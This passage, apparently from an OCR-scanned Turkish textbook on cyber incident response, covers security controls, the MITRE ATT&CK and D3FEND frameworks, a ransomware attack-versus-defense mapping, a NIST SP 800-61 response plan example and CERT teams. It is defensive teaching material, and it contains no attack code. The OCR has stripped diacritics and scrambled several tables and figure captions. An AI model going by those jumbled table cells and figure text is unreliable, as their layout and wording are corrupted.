karsi koruma saglanmasidir. Kullanicilara kimlik avi ve sosyal mihendislik saldirilari konusunda
egitimler verilerek farkindalik olusturulmalidir. Ayrica spam e-posta filtreleri, kimlik avi saldirilarini
algilama mekanizmalari, kotl amach ek ve baglanti analizi, glivenli web gegcitleri, URL filtreleme,
koth amach yazilim indirilmesinin engellenmesi gibi korumalar saglanmalidir. Saldiri gerceklesmesi
durumunda ise hizli tespit edebilme ve miidahale yetenekleri gelistirilmelidir.

10. Malware Defense (Kotii Amagh Yazihmlara Kargi Savunma): Bir kurulusun dijital varlklarinin
kot amach yazilim saldirilarina karsi korunmasidir. Bu kontrol ile dnleyici tedbirler alinarak zararli
yazilimlarin bulasmasi engellenir. Bulasma durumunda ise yayilma kontrol altina alinir.

11. Data Recovery (Veri Kurtarma): Bir siber givenlik olay sonrasinda etkilenen kurumsal varliklarin
olay 6ncesindeki en iyi hallerine getirilmesidir.
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12. Network Infrastructure Management (Ag Altyapisi Yonetimi): Bir kurulusun ag altyapisinda yer
alan cihazlarin glivenli ve kontrolll bir sekilde yonetilmesidir. Ag cihazlarinin yapilandirmasindaki
zafiyetler, saldirganlarin bu cihazlari hedef alarak aga sizmasina sebep olur. Bu kontrolle ag cihazlari
surekliizlenir, yapilandirmalarin glivenli hale getirilmesi saglanir ve yetkisiz erisime karsi korunur. Ag
altyapisi yonetiminde agdaki tim cihazlarin kaydi olusturulmali ve glivenli standart yapilandirmalar
uygulanmalidir. Ag trafigi ve cihazlarin olay kayitlari dizenli incelenip stipheli aktiviteler tespit
edilmelidir. Glvenlik acig tespit edilirse hizli bir sekilde dizeltiimeli ve desteklenmeyen cihazlar
agdan cikarilmahdir. Ayrica ag cihazlarina erisim, yetkili kisiler tarafindan gigcli parolalarla ve ¢ok
faktorll kimlik dogrulama etkinlestirilerek saglanmalidir.

13. Network Monitoring and Defense (Ag izleme ve Savunma): Bir kurulusun ag altyapisini hedef
alan siber saldirilara karsi proaktif bir yaklasimla siirekli izleme (monitoring) ve otomatik savunma
mekanizmalarinin kullanilmasidir. Bu kontroliin amaci, agdaki normal olmayan gergcek zamanli
aktiviteleri tespit ederek saldirilari 6nlemektir. Bu slirecte yer alan islemler soyledir:

« Saldiri Tespit/Onleme Sistemleri (IDS/IPS) ve Giivenlik Olay Yonetimi (SIEM) araclariyla ag trafigi
gercek zamanli izlenerek analiz edilir.

« Guvenlik duvari ile ag trafigi kontrol edilerek izinsiz erisimler engellenir.

« Web sitelerini SQL Injection, XSS gibi saldirilardan korumak icin Web Uygulama Givenlik Duvari
(WAF) kullanilr.

- Bilgisayar, sunucu gibi ug cihazlardaki sipheli aktiviteleri izlemek, tespit etmek ve otomatik mu-
dahale icin U¢ Nokta Tespit ve Midahale (EDR) ¢oztmleri kullanihr.

« Otomatik engelleme sistemi ile tehlikeli aktiviteler algilanip hemen engellenir.

14. Security Awareness and Training Program (Giivenlik Farkindalik ve Egitim Programi): Calisanlarin,
siber glivenlik bilincine sahip olmasini ve dogru davranislari benimsemesini amaclayan egitim
sureclerinin olusturulmasidir. Bu kontroliin amaci, siber glivenlikte en 6nemli unsur olan insan
faktoriiniin gl¢lendirilmesidir. Diizenli egitim programlari olusturularak tim personelin katilimi
saglanmalidir. Bu programlar sirekli glincellenmeli ve yeni tehditler hakkinda bilgi icermelidir.
Ayrica gercek hayatta karsilasilan tehdit durumlari test etmek ve farkindalik saglamak icin saldiri
similasyonlari ile pratik uygulamalar yapilmahdir. Egitimlerin etkisi ise 6lgme degerlendirme
yontemleriyle belirlenmelidir.

15. Service Provider Management (Hizmet Saglayici Yonetimi): Kuruluslara ait hassas verileri veya kritik
altyapilari koruyan dis hizmet saglayicilarin givenliginin degerlendirilmesi slirecidir. Bu saglayicilarin
kendi glvenlik 6nlemlerinin yeterli olmasi kritik 6nem tasir. Kuruluslar, hizmet aldiklari Gglincu
taraf saglayicilarin giivenlik standartlarini dikkatlice incelemeli ve giivenlik politikalarini bagimsiz
denetimlerle sorgulamalidir. Ayrica hizmet s6zlesmesinde ihtiya¢ duyulan giivenlik gereksinimleri
acikca belirtiimelidir.

16. Application Software Security (Uygulama Yaziimi Giivenligi): Kuruluslarin kullandigi tim
yazilimlarin (kurum icinde gelistirilen, barindirilan veya edinilen) givenlik yasam dongisiiniin
yonetilmesi silirecidir. Bu dongi; bir yazilimin gelistirilmesi, test edilmesi, dagitimi, isletiimesi ve
devre disi birakilmasi siireglerini kapsar. Amag; yazilimlardaki gtivenlik agiklarini 6nlemek, tespit
etmek ve gidermektir. Bu kontrolle yazilim kaynakli saldirilar 6nlenerek veri giivenligi saglanir.
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17. Incident Response Management (Olay Yanit Yonetimi): Bir siber olay gerceklestiginde hizli bir
sekilde tespit edilmesi ve miidahale edilmesi icin olay midahale planinin olusturulmasidir. Bu
planin hazirlik agsamasinda glivenlik politikalari belirlenip tim paydaslara duyurulmalidir. Ekipler ve
roller belirlenerek sorumluluklar tanimlanmali, olay anindaki iletisim siireci acik¢a ifade edilmelidir.
Ayrica altyapi igin gerekli olan giivenlik araglari da hazir olmalidir. Olay gergeklestiginde aninda
midahaleyle yayllma o6nlenmeli ve zarar en aza indirilmelidir. Olay sonrasinda iyilestirmeler
yapilarak gerekli dersler ¢ikariimalidir.

18. Penetration Testing (Sizma Testi): Kuruluslarin siber glivenlik tedbirlerini proaktif olarak
degerlendirmek ve giiclendirmek icin gercek bir saldirgan bakis agisiyla mevcut zafiyetlerin tespit
edilmesi ve giderilmesidir. Sizma testleri proaktif bir yaklasimla gézden kagabilecek givenlik
aciklarinin tespit edilmesini kolaylastirir. Bu testler, uzman ve yetkili kisiler tarafindan yapilir. Test
sonucunda elde edilen bilgiler, yine yetkili kisilerle paylasilip gerekli tedbirler saglanir.

Arastirma

ISO/IEC 27035 siber olay ybnetim cercevesini arastiriniz. Elde ettiginiz bilgileri sinif
arkadaslarinizla paylasiniz.

1.1.4.4. MITRE ATT&CK ve DEFEND

MITRE Corporation, 1958 yilinda ABD’de kurulan ve ulusal siber glivenlik alaninda calismalar yiriten
kar amaci gitmeyen bir teknoloji arastirma kurulusudur. Ulusal giivenligin ve kritik altyapilarin siber
tehditlere karsi korunmasi icin cesitli cerceveler, araglar ve yontemler gelistirir. Ayrica savunma,
istihbarat, havacilik, ulagsim, saglik hizmetleri ve yapay zeka alaninda galismalar yirGtir. MITRE nin agik
kaynakli bilgi paylasimi, is birligi ve standart gelistirme odakl ¢alismalari sayesinde gelistirdigi glivenlik
cerceveleri ve araglar, genis bir kullanici kitlesi tarafindan yaygin olarak kullanilir.

MITRE’nin gelistirdigi cercevelerden MITRE ATT&CK, siber saldirilarin analizinde ofansif (saldirgan)
perspektif sunar. MITRE DEFEND, siber saldiri karsi savunma stratejilerinin modellenmesi icin defansif
(savunma) bir yaklasim saglar.

Bir kurumun siber giivenlik prosedirini gliclendirmek icin saldiri similasyonu hazirlayan ve savunma
stratejileri gelistiren uzman grubuna takim denir. Bu takimlar, calisma amaclarina gére su gruplara
ayrilir:

1. Kirmizi Takim (Red Team): Saldirgan bakis acisiyla sistemdeki zafiyetleri proaktif bir yaklasimla
ortaya c¢ikartmayi hedefler. Gergekgi saldiri senaryolarini MITRE ATT&CK'deki yontemleri kullanarak
uygular.

2. Mavi Takim (Blue Team): Saldiri tespit ve onleme sistemlerini kullanarak sistemleri korumayi
amaclar. SIEM, IDS/IPS gibi araclarla tehdit avi yapar ve MITRE D3FEND savunma onlemlerini
uygulayarak saldirilari engeller.

3. Mor Takim (Purple Team): ATT&CK ve D3FEND’i es zamanli kullanarak mavi ve kirmizi takimin is
birligini saglar. Senaryo tabanli testler uygulayarak gercekci giivenlik politikalarinin belirlenmesine
katki saglar.
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MITRE ATT&CK (Adversarial Tactics, Techniques and Common Knowledge): Siber saldirilarda kullanilan
taktik, teknik ve prosediirleri (TTP) sistematik bir sekilde siniflandirarak kurumlarin siber tehditleri
daha iyi anlamasini ve etkili savunma stratejileri gelistirmesini saglayan bir bilgi tabani ve ¢ergevedir
(Gorsel 1.15).

Saldirganin hedefine ulasmak icin izledigi
saldiri planidir.
Taktikler

Saldirganin taktikleri uygulamak icin

Teknikler kullandigi arag ve yontemlerdir.

Saldirganin hedefi gerceklestirmek icin
attigi gercek eylem adimlaridir.

Prosediirler

Gorsel 1.15: Taktik, teknik ve prosedirler

MITRE Corporation tarafindan 2013 yilinda gelistiriimeye baslanan bu cergeve, siirekli glincellenen
ve genisleyen dinamik bir yapiya dénisdr. ilk yayinlandiginda 9 taktik ve 96 teknik iceren bu gergeve,
sadece Windows ortamlarina odakhdir. ilerleyen yillarda Linux, MacOS, Mobile ve bulut ortamlari da
eklenerek 14 taktik, 200’den fazla teknik ve alt teknik, ylzlerce prosedirle birlikte kapsamli bir yapiya
donisir. MITRE ATT&CK'nin siber saldiri taktiklerini siniflandirdigi (¢ ana matris sunlardir:

1. Enterprise Matrisi: Kurumsal IT altyapilarinda kullanilan isletim sistemleri ve bulut ortamlarini
hedef alan siber saldiri tekniklerini siniflandirir.

2. Mobile Matrisi: Kurumsal mobil cihazlarin isletim sistemlerini ve uygulamalarini hedef alan saldiri
tekniklerini siniflandirir.

3. ICS Matrisi: Endustriyel kontrol sistemlerine (SCADA, PLC vb.) ve operasyonel teknoloji (OT)
aglarina yonelik tehditleri ele alarak kritik altyapinin glvenligini saglamak icin kullanilan teknikleri
siniflandirir.

MITRE ATT&CK matrislerinin yapisal bilesenleri sunlardir:

Taktikler (Tactics): Saldirganlarin ulasmak istedigi ylksek seviyeli hedefleri temsil eder. Siber saldirinin
neden yapildigi sorusuna cevap veren eylemlerdir. MITRE ATT&CK cercevesinde 14 temek taktik yer alir.

Teknikler (Techniques): Saldirganlarin taktiksel hedefine ulasmak i¢in kullandig1 6zel yontemleri temsil
eder. Siber saldirinin nasil yapildigi sorusuna cevap veren eylemlerdir. MITRE ATT&CK ¢ercevesinde her
taktige ait bircok teknik yer alir.

Alt Teknikler (Sub-Techniques): Saldirganlarin kullandigl teknigin daha detayli ve 6zellestirilmis
bicimidir. Belirli bir teknigin nasil uygulandigini daha spesifik 6rneklerle agiklar.

Prosediirler (Procedures): Saldirganlarin bir teknigi veya alt teknigi gercek diinyada nasil uyguladigina
dair spesifik ornekleri ve detaylan igerir. Bunlar, saldirganlarin gézlemlenmis ve bilinen davranis

bicimlerini tanimlar.
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Gruplar (Groups): Siber tehdit aktorlerini ve gelismis kalici tehditleri [Advanced Persistent Threat (APT)]
listeler. Listede bu kisilerin kullandigi taktik ve tekniklerle ilgili bilgiler yer alir.

Yazilimlar (Software): Saldirganlar tarafindan kullanilan zararli yaziimlari ve araclari listeler. Ayrica
bunlarin teknik 6zelliklerini ve hangi ATT&CK teknikleriyle iliskili olduklarini detayli olarak gosterir.

Hafifletmeler (Mitigations): Belirli bir taktigin, teknigin ve alt teknigin eyleme dénliismeden 6nce veya
etkilerini hafifletmek icin alinabilecek énlemleri agiklar. Gorsel 1.16’da MITRE ATT&CK’de yer alan 14
taktik, teknikler ve alt teknikler goralir.

MITRE | ATT&CK'

ATT&CK Matrix for Enterprise

layout: flat = show sub-technigues  hide sub-technigues
Reconnaissance Resource Initial Access Execution Persistence Pmnle?e Defense Evasion Credential Discovery Lateral Collection Comman
Development Escalation ACcess Maovement Contre

10 techniques 8 techniques 10 technigues 14 technigues 20 techniques 4 techniques 44 techniques 17 techniques 32 techniques 9 techniques 17 technigues 18 techn

the Micdie g

Gorsel 1.16: MITRE ATT&CK’de yer alan 14 taktik

MITRE ATT&CK’de yer alan taktikler ve agiklamalari Tablo 1.2°de gorulir.

Tablo 1.2: Taktikler ve Aciklamalar

Saldirgan, hedef sistem hakkinda bilgi toplar.
Bunun i¢in port tarama, ag haritalama,
calisanlardan bilgi alma, sosyal medya hesaplari,
web sitesi gibi araclari kullanir.

1. Reconnaissance (Kesif)

Saldirgan; saldiri icin gerekli olan zararli yazilm,
2. Resource Development (Kaynak Gelistirme)  kontrol sunuculari, sahte hesaplar gibi kaynaklari
hazirlar.

Saldirgan, hedef sisteme ilk erisimi saglar.
3. Initial Access (Baglangig Erigimi) Phising, exploit, harici cihazlar, zafiyet somiirme
gibi yontemleri kullanir.

Saldirgan, hedef sistemde kot amaclh kodun
4. Execution (Kod Calistirma) calistiriimasini saglar. Zararl makrolar, scriptler
gibi yontemleri kullanir.

Saldirgan, sistemde daha uzun sire kalabilmek
icin arka kapilar ve otomatik baslatma komutlari
5. Persistence (Kalicilik) olusturur. Baslangi¢ ayarlarini degistirme, zararl

servisler olusturma, kayit defteri degisiklikleri
gibi yontemleri kullanir.
@ SIBER OLAYLARA MUDAHALE
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Saldirgan, sistemde yetkilerini artirma ¢alismalari
yapar. isletim sistemi ve uygulamalardaki

zafiyetler, yanlis yapilandirilan izinler veya kimlik
bilgisi ele gecirme yontemlerini kullanarak ilerler.

SIBER OLAY YONETIMI 9%]«_[

6. Privilege Escalation (Ayricalik Yiikseltme)

Saldirganin glivenlik 6nlemlerinden kaginarak
tespit edilmemeye yonelik ¢calismalaridir.

7. Defense Evasion (Savunmadan Kaginma) Antivirlis yazilimini devre disi birakma, log
kayitlarini silme, dosya sifreleme gibi yontemleri
kullanir.

Saldirgan, kullanici hesaplarini ele gegirir.
8. Credential Access (Kimlik Bilgisi Erigimi) Keylogger, brute force, credential dumping gibi
yontemleri kullanir.

Saldirgan, hedef sistem hakkinda bilgi toplar. Ag
haritalama, kullanici ve grup bilgilerini listeleme,
sistem bilgilerini toplama, paylasimlari tespit
etme gibi yontemleri kullanir.

9. Discovery (Sistem Kesfi)

Saldirgan, ele gecirdigi sistem (izerinden diger
sistemlere ilerlemeye calisir. Ele gegirilen kimlik

10. Lateral Movement (Yanal Hareket) bilgileri, uzaktan erisim araglari veya sistem
zafiyetlerini kétiye kullanmak gibi yontemleri
kullanir.

Saldirgan, hedef sistemdeki verileri toplar. Ekran
11. Collection (Veri Toplama) gorintusl alma, veri tabani tarama, e-postalari
arsivleme gibi yontemleri kullanir.

Saldirgan; ele gecirdigi sistemleri kontrol eder,
iletisim kanallari Gizerinden ele gegirdigi sisteme
komutlar génderir, verileri kontrol eder ve
sistemleri yonetir.

12. Command and Control (Komuta ve Kontrol)

Saldirgan, ele gegcirdigi verileri disariya aktarir.
FTP, HTTP gibi protokolleri kullanma, sifrelenmis
kanallar tizerinden veri gonderme, harici
cihazlara veri kopyalama gibi yontemleri kullanir.

13. Exfiltration (Veri Sizintisi)

Saldirgan, hedef sisteme zarar verir. Verileri
14. Impact (Etki) sifreleme veya silme, sistemleri devre disi
birakma gibi yontemleri kullanir.

MITRE D3FEND (Detection, Denial, and Disruption Framework Empowering Network Defense): Siber
savunma stratejilerini olusturmak, kategorize etmek ve uygulamak icin sistematik bir yaklasim sunan
savunma odakl bir cergevedir. MITRE ATT&CK’de modellenen taktik ve tekniklere karsi altiana savunma
taktigi ve alt tekniklerle nasil savunma yapilacagina rehberlik eder.
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Gorsel 1.17°de MITRE D3FEND savunma taktikleri géralir.

D=F=ND"

A knowledge graph of cybersecurity countermeasures

1.0.0
ATT&CK Lookup | Search D3FEND's 718 Artifacts |
- Model - Harden Detect
Asset Network °Tgﬂsi‘$al System Agent Application ~ Credential Message Platform Sgg;x;e +
Inventory  Mapping Mapping Mapping Authentication Hardening Hardening Hardening Hardening Hardening
Asset Logical Access Data Biometric Application Certificate Message Bootloader Credential
Vulnerability Link Modeling Exchange Authentication Configuration Pinning Authentication ~ Authentication Scrubbing
Enumeration Mapping Mapping Hardening
Operational Certificate- Credential Message Disk Integer
Container Active Dependency Service based Dead Code Rotation Encryption Encryption Range
Image Logical Mapping Dependency  Authentication Elimination Validation
Analysis M;g;ﬂg Mapping Password Transfer Driver Load
QOperational Multi-factor Exception Rotation Agent Integrity Pointer
Configuration i Risk System Authentication Handler Authentication Checking Validation
Inventory T_?)Sistli\; Assessment  Dependency Pointer One-fime
L?nk Mapping Password Validation Password File Memory
Data Mapping ~ Organization Authentication Encryption Block
Inventory Mapping System Pointer Strong Start
Vulnerability Authentication Password - Validation
Network Token-based ¥ RF Shielding
Hardwaro | rafic Assessment  a henication Policy ul
omponen Polic: Process U
Inventory Mappi%g Segment SSﬁ(‘j“;ﬂt;e Pointer
Execution P Checking
(X Prevention

Gorsel 1.17: MITRE D3FEND savunma taktikleri

MITRE D3FEND taktikleri ve aciklamalari Tablo 1.3’te goralur.

Tablo 1.3: MITRE D3FEND Taktikleri, Aciklamalari ve ATT&CK Karsiliklari

Savunma taktiklerinin orga-
nize edilmesi ve diger giivenlik
Model (Model) standartlariyla entegrasyonun )

saglanmasidir.

Sistemlerin saldir1 ylizeyini
Harden (Sertlestirme) azaltarak sistemi gliglendirmeye Initial Access, Execution
yonelik dnlemlerin alinmasidir.

Sistemdeki anormal veya
Detect (Tespit) kot niyetli aktivitelerin tespit Lateral Movement, Exfiltration
edilmesidir.

Siber olay gerceklestiginde
Isolate (izolasyon / Yaliim) sistemin izole edilerek yayilmanin
engellenmesidir.

Lateral Movement, Command and
Control

Saldirganlari yaniltarak onlara
zaman kaybettirilmesi, hedefe
ulagmalarinin engellenmesi ve
onlar hakkinda bilgi toplanmasidir.

Deceive (Aldatma) Discovery, Credential Access

Saldirganin sistemden tamamen ve

EUERERIE RS kalici olarak uzaklastirilmasidir.

Persistence, Privilege Escalation

Bir siber olay sonrasinda sistemin,
Restore (Geri Yiikleme) verilerin ve operasyonlarin yeniden | Impact
givenli duruma getirilmesidir.
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MITRE ATT&CK ve MITRE D3FEND Arasindaki Baglanti: Siber saldirilar, bir dizi aksiyon ve eylem bitin
olarak gerceklestirilir. Bu siirecte yapilan eylemler, dijital sistemlerde ve giivenlik cihazlarinda dijital iz
(artifact) adi verilen veriler ve kayitlar birakir. Bu izler; saldirida hangi araglarin kullanildigi, saldirinin
ne zaman gerceklestigi, hangi sistemlere erisildigi gibi 5nemli bilgileri icerir. Sistem glnlikleri, ag trafigi
kayitlari, kayit defteri degisiklikleri, dosya sistemi degisiklikleri, bellek dékiimleri, glvenlik yazilimi
kayitlari, sunucu ginlikleri gibi bilgiler; MITRE ATT&CK ve MITRE D3FEND cercevelerinin birlikte
kullanimiigin kritik veri kaynaklari olusturur. ATT&CK matrisinde tanimlanan her bir saldiri teknigi, hedef
sistemlerde baziizler birakir. D3FEND ise bu izleri gozlemleyerek saldirilari tespit etmek, engellemek veya
etkilerini azaltmak igin savunma tekniklerini kullanir. Siber olaylar ve dijital izler, ATT&CK gergevesinin
glclenmesine katki saglarken D3FEND cercevesinde yer alan savunma tekniklerinin degerlendirilmesini
saglar (Gorsel 1.18).

Dijital izler

MITRE D3FEND™ Matrisi

MITRE ATT&CK® Matrisi

Gorsel 1.18: ATT&CK ve D3FEND iligkisi

Bir isletmeye yonelik fidye yazilimi saldirisi gergeklesir. MITRE ATT&CK taktikleriile
saldirinin analizi, saldiri sirasinda birakilan dijital izler ve MITRE D3FEND ile yapilan
savunma taktikleri Tablo 1.4’te gorilur.

ORNEK |

Tablo 1.4: Fidye Yazilim Saldirisinin MITRE ATT&CK ve D3FEND ile Analizi

Saldin Asamasi | MITRE ATT&CK MITRE D3FEND Savunma
Analizi Savunma Onlemi Aciklamasi

Saldirgan, islet- E-posta filtreleme

Teknik: T1566.001  medeki bir ¢alisana | Teknik: D3-EF sistemleri,
1. ilk Erisim isqi zararli yazilim iceren . sthastiniimis dosya
. § (Spearphissing " t'lr'ITmI birg (Email Filtering) icindeki .exe uzantili
Attachment) s sor dosyalari otomatik
e-posta eki gonderir. )
olarak siler.

Ug nokta koruma
¢O6zumleri, e-posta

) Galigan, e-postayla | Teknik: D3-PSA L
2 Kod Galigtirma | o oo+ 002 | gelen zarar yazlimi Cveuiamatadan
' : (User Execution) bilgisayarinda (Process Spawn ve
T Analysis) .exe dosyalarinin

cahstirllmasini
engeller.

Tablonun devami =——p
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MITRE D3FEND

Saldiri MITRE ATT&CK
.. Savunma Savunma Agiklamasi
Asamasi Analizi p .
Onlemi
Defender Credential
Teknik: T1003.001 Zararh yazilim, sistemdeki ) Guard gibi araglar
3. Kimlik _ LSASS bellek dékiimiini Teknik: D3-LSA | etkinlestirilerek LSASS
Bl isi Calma (OS Credential alarak kullanicinin oturum | (1 sass bellek dokiimlerinin
& Dumping: LSASS ' 3¢ma bilgilerini (kullanici Protection) izlenmesi ve yetkisiz
Memory) adi, parola) ele gecirir. erisimin engellenmesi
saglanir.
Elde edilen kimlik Ag izleme sistemleri,
Teknik: T1021.001  bilgileriyle saldirgan, Teknik: D3-NI anormal RDP
4. Yanal uzaktan erisim protokolii baglantilarini tespit
Hareket (Remote Desktop  (Rpp) iizerinden (Network eder ve engeller. Ag bo-
Protocol) agdaki diger sistemlere Isolation) limlendirmesi ile yetkisiz
baglanmaya ¢alisir. yanal hareket kisitlanir.
Saldirgan, hedef $|frelen§'n do§yalar,
L . alinan dizenli
5. Veri Teknik: T1486 sunucudaki 6nemli Teknik: D3-RF yedeklerden geri
ifrel dosyalari sifreleyerek ) iklenir. "3-2-1
(sét::)eme (Data Encrypted  ( encrypted uzantisiyla) (File Backup z:d:kr;:arﬁwe-m;rall" 3
for Impact) erisilemez hale getirir ve Recovery)
. kopya, 2 farkli ortamda, 1
fidye talep eder. .
cevrimdisi) uygulanir.

1.1.5. Olay Miidahale Planinin Olusturulmasi

Siber olaylara karsi en hizli ve en etkili yaniti verebilmek icin 6nceden olusturulan eylem adimlarina olay
miidahale plani denir. Bu plan, uluslararasi kabul géren giivenlik gerceveleri ve standartlarina (NIST,
SANS, CIS vb.) uygun sekilde hazirlanir. Olay midahale planinda genellikle su bilgiler yer alir:

1. Amag: Olay planinin ne i¢in hazirlandigini ve hedeflerini agiklar (6rnegin siber olaylara miidahale
etmek, veri kaybini 6nlemek, is sirekliligini saglamak vb.).

2. Kapsam: Olay planinin hangi sistemleri, varliklari ve siirecleri kapsadigini belirtir (ag altyapisi, bulut
sistemleri, sunucu glivenligi vb.).

3. Roller ve Sorumluluklar: Olay miidahale ekibinin gorev ve sorumluluklarini tanimlar (olay yoneticisi,
teknik ekip, hukuki birim, iletisim sorumlusu vb.).

4. Olay Siniflandirma: Olayin etki seviyesine ve tiiriine gére siniflandirir (Ornegin spam e-posta ile
etkilenen bir kullanici olayi, dislik bir seviyedir ancak tim agi etkileyen yazilim saldirilari, yiksek

seviyeli olay olarak nitelendirilir.).

5. Miidahale Adimlari: Olay midahalesinin temel asamalarini tanimlar. Bu adimlar, kullanilan olay
muidahale cercevesine gore farkllik gosterebilir.

6. lletisim Plani: Olay ile ilgili bilgi akisinin nasil saglanacagi tanimlanir.
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Bir sirkette internet aginin ve sunucu sistemlerinin glivenliginin saglanmasina
ORNEK | yonelik olay midahale planinin NIST SP 800-61 standardina uygun olarak
olusturulmasi su sekildedir:

Ornekte belirtilen planda bulunmasi gerekenler sunlardir:

Amacg aciklanir.

Kapsam belirlenir.

Roller ve sorumluluklar tanimlanir.
Olay siniflandirilir.

Midahale adimlari agiklanir.

@ v & W N e

iletisim plani olusturulur.

internet agi ve sunucu sistemlerine ydnelik siber giivenlik olaylarina hizli,
koordineli ve yasalara uygun sekilde miidahale etmek

Bu plan, sirket icin ag yapisini ve sunucu sistemleri kapsar.

Rol Sorumluluklar

Olay Yoneticisi: Mudahaleyi koordine eder, list yénetime rapor sunar.

Ag Giivenlik Ekibi: Saldiri kaynagini tespit eder, ag izolasyonu yapar.

Rol ve Sorumluluklar Sistem Yoneticisi: Sunuculari kurtarir, yamalari uygular.
Hukuk Birimi: Yasal bildirimleri (KVKK, 5651 Sayili Kanun) yonetir.
Seviye Tanim Ornekler Miidahale Siiresi

Yerel etki gorilir. Hizl | Spam  e-posta  ve

Disiik ¢0zUm gerektirir. basit malware

24 saat icinde

Olay Siniflandirma

Ransomware ve

Yiiksek Kritik sistemleri etkiler. DDOS

1 saat icinde

Miidahale Adimlari Hazirlik (Preparation)

« Ag Glvenligi
— Firewall ve IPS kurallari glincel tutulur.
— Yedekler giinliik alinir (3-2-1 Kurali: 3 kopya, 2 farkli ortam, 1’i offline).

« Egitim
— Calisanlara phishing egitimi verilir.
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iletisim Plani

Tespit ve Analiz (Detection & Analysis)

+ Tespit Araglari
— SIEM (Wazuh/ELK), IDS/IPS (Snort), Ag trafik analizi (Wireshark)

+ Analiz
— Loglar incelenir (Ornek: Event Viewer > 4625 hatasi = basarisiz
oturum agma).

Sinirlama (Containment)

+ Kisa Vadeli
— Etkilenen sunucu, agdan izole edilir (VLAN degistirme veya firewall
kurah).

« Uzun Vadeli
— Givenlik duvarina yeni kural eklenir (Ornek: Block TCP/445 SMB
zafiyeti icin).

Yok Etme (Eradication)

« Kot amagh yazilim temizlenir (Ornek: Malware temizleyicisi + elle re-
gistry temizligi).

. Zafiyet yamalanir (Ornek: Sunucu isletim sistemi icin MS17-010 yama-
si).
Kurtarma (Recovery)

. Sistemler yedekten geri yiiklenir (Ornek: Backup yazilimi ile son temiz
yedek).

« Test ortaminda 24 saat gozlem yapllir.

Sonrasi Faaliyetler (Post-Incident Activity)

« Olay Raporu

1. Olay Tarihi: 15.01.2024
2. Etkilenen Sistemler: WEB-SRV01 (192.168.1.10)
3. Kok Neden: Zayif RDP parolasi (Brute Force Saldirisi)
4. Alinan Dersler: Cok faktorli kimlik dogrulama (MFA) zorunlu
hale getirildi.
Paydas iletisim Yéntemi Zaman Cergevesi
Ust Yénetim Acil toplanti 1 saat icinde
BT Ekibi Anlik mesajlasma 15 dakika icinde
KVKK Resmi e-posta 72 saat icinde
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Acil iletisim Listesi
« Olay Yoneticisi: Ah** Yi** — Q555 *** ** **

« Ag Ekibi: Ay** Ka** - 0555 *%* s %x
NIST SP 800-61 Kontrol Listesi

« Tim midahale adimlari belgelendirildi.

+ Yedekleme prosedirleri test edildi.

- 1. Uygulama

Bir sirkette ransomware saldirilarina karsi olusturulmasi gereken olay miidahale planini verilen adimlari

izleyerek bir belge halinde hazirlayiniz.

1. Adim:
2. Adim:
3. Adim:
4. Adim:
5. Adim:
6. Adim

Olay mudahale planinin amacini agiklayiniz.
Olay midahale planinin kapsamini belirleyiniz.
Olay ile ilgili rolleri ve sorumluluklari belirleyiniz.
Olayi siniflandiriniz.

Olay miidahale adimlarini agiklayiniz.

: iletisim plani olusturunuz.

Sira Sizde

Bir web sunucusu Uzerinde gergeklestirilen Dagitik Hizmet Reddi (DDoS) saldirisina
yonelik olay miidahale planini NIST SP 800-61 standardina uygun olarak olusturunuz.

Degerlendirme: Calismaniz EK-1'de yeralan kontrollistesi kullanilarak degerlendirilecektir.
Calismanizi yaparken degerlendirme olcitlerini dikkate aliniz.

1.2. SIBER OLAYLARA MUDAHALE EKIPLERI

Siber olaylara miidahale etmek, dijital altyapilarin glivenligini saglamak ve siber tehditlere karsi etkili
¢O6zimler Gretmek icin koordineli ¢alismalar yiriten cesitli ulusal ve uluslararasi ekipler ve merkezler

bulunur.

Ekip, siber olaylara midahale eden uzman kisilerden olusan birimdir. Merkezler ise siber

olaylara karsi koordinasyonu saglamak, bilgi paylasimi yapmak ve is birlik¢i calismalari siirdirmek igin
faaliyet gosteren olusumlardir.

1.2.1. CERT [Computer Emergency Response Team (Bilgisayar Acil Miidahale Ekibi)]

1988 yilinda internet agina 6nemli 6l¢lide hasar veren solucan virsi, acil glivenlik olaylarina karsi

Onlem alan ve miidahale eden merkezlerin gerekliligini ortaya koyar. Bu merkezlerin olusturulmasinda
gbrev, Savunma ileri Arastirma Projeleri Ajansi [The Defense Advanced Research Projects Agency
(DARPA)] tarafindan Carnegie Mellon Universitesinin Yazihm Miihendisligi Enstitiisiine verilir. 1988
yihinin sonlarinda ilk bilgisayar giivenlik olaylarina miidahale ekibi olan CERT kurulur. Bu ekiplerin
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gorevi; siber olaylari kontrol altina almak, bunlara miidahale etmek ve kuruluglarin zararini en aza
indirmektir. ilerleyen yillarda bu ekip, CERT/CC (CERT Koordinasyon Merkezi) adiyla anilmaya baslanr.
CERT/CC, ayni amaca hizmet eden diger CERT’ler arasinda iletisimi, bilgi paylasimini ve koordinasyonu
saglayan merkez haline gelir. Siireg iginde CERT terimi, Carnegie Mellon Universitesinin tescilli ve ticari
markasi olarak kullanilmaya devam edilir. CERT’lerin baslica gérevleri sunladir:

« Kuruluslarin varliklarini siber olaylara karsi korumak

- Siber olaylari tespit etmek ve miidahale etmek

« Veriihlalleri ve hizmet reddi saldirilari gibi olaylari ¢cozmek

« Olay yonetim sireclerini yonergelerle saglamak

« Guvenlik sistemlerini strekli iyilestirmek icin calismalar yapmak

« Guvenlik olaylarinin tekrarini 6nlemek

CERT’ler farkh sektorlerde ve farkli blytkliikteki kuruluslar tarafindan olusturulabilir. Ayrica bolgesel
ve ulusal diizeyde de cesitli CERT’ler bulunur. Bunlar, belirli sektérlerdeki veya cografi bolgelerdeki
kuruluslara hizmet eder. Bolgesel ve ulusal bazi CERT 6rnekleri sunlardir:

CERT-EU: Avrupa Birligi tilkelerindeki kurumlarin siber giivenliginden sorumlu olan bélgesel ekiptir. Uye
Ulkeler arasinda siber istihbarat saglayarak siber olaylara koordineli bir sekilde miidahale eder.

APCERT: Asya-Pasifik bolgesindeki tlkelerin siber giivenliginden sorumludur. Bélgesel tehditlere karsi is
birligi yapar ve tlkeler arasinda bilgi paylasimini kolaylastirir.

TR-CERT: Turkiye’deki ulusal siber olaylara miidahale eden ekiptir. Kritik altyapisinin korunmasi ve siber
olaylarin 6nlenmesinden sorumludur.

US-CERT: Amerika Birlesik Devletleri’'ndeki federal kurumlarin ve kritik altyapilarin siber glivenliginden
sorumlu ekiptir. Siber tehditlere karsi erken uyari sistemleri gelistirir ve ulusal siber glivenlik politikalarini
uygular.

